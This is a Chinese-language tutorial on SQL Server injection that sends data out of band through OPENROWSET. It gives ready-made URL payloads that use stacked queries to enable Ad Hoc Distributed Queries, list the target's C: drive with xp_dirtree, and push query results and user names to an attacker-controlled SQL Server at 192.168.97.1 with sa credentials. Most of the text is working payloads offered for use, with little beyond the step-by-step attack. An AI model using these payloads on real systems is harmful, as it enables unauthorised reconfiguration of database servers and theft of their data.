我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、sqlserver openrowset转发利用
1、场景:
适用于盲注入,页面不返回信息。使用这种注入方法,需要一台带有sqlserver的机器。
2、原理:
就是把当前数据转发到远程的sqlserver上。
3、前提:
openrowset转发利用需要开启Ad Hoc Distributed Queries扩展
4、开启和关闭扩展:
//启用Ad Hoc Distributed Queries:
;exec sp_configure 'show advanced options',1 reconfigure
;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
//为了安全使用,完成后关闭Ad Hoc Distributed Queries:
;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;exec sp_configure 'show advanced options',0 reconfigure
5、openrowset限制:
(1)需要保证自己的远程sqlserver服务允许远程访问!!!
(2)需要保证自己的远程sqlserver的数据库名与注入点的数据库名相同!!!
(2)sql server开启远程访问的方法: 传送门
二、openrowset 转发利用示例1
1、开启远程扩展
payload:?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
2、查询注入点的数据库名:mydb
payload:?id=1 and db_name()>0
3、自己的远程服务器上建立一个数据库:mydb
SQL语句:create database mydb;
4、自己的远程服务器上建立一个临时表:##version
SQL语句:create table ##version (VERSION varchar(500));
5、注入点查询系统信息并传到远程服务器:user_name()
payload:?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.97.1;uid=sa;pwd=123456','select from %23%23version') select user_name() # 首先,要知道select查询的结果还是一个表。 # 其次,该payload的意思就是把select user_name()的查询结果插入到select from ##version的结果中。 # 注意,payload其中的%23是#的url编码,注意必须要使用%23,不然会报错。
6、自己的远程服务器上查询表:##version
SQL语句:select * from ##version; # 此时会在结果中看到注入点的用户名
三、openrowset 转发利用示例2
1、两边创建临时表:##nonamed
(1)自己的远程服务器上创建临时表-SQL语句:create table ##nonamed(dir ntext,num int);
(2)利用注入点在靶机上创建临时表-payload:?id=1;create table %23%23nonamed(dir ntext,num int)
2、靶机上插入路径数据到临时表,转发到远程服务器
(1)利用注入点在靶机上向临时表nonamed表插入c盘下路径数据-payload:?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
(2)这里就是把数据转发到远程192.168.97.1的 sqlserver上-payload:?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.97.1;uid=sa;pwd=123456','select from %23%23nonamed') select from %23%23nonamed
(3)在远程sqlserver执行SQL命令,就可以获取数据-SQL语句:select * from ##nonamed;
3、关闭远程扩展
(1)为了安全使用,完成后关闭远程扩展-payload:?id=1;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure;exec sp_configure 'show advanced options',0 reconfigure
(3)测试远程扩展是否真的关闭了:?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.97.1;uid=sa;pwd=123456','select * from %23%23version') select suser_name()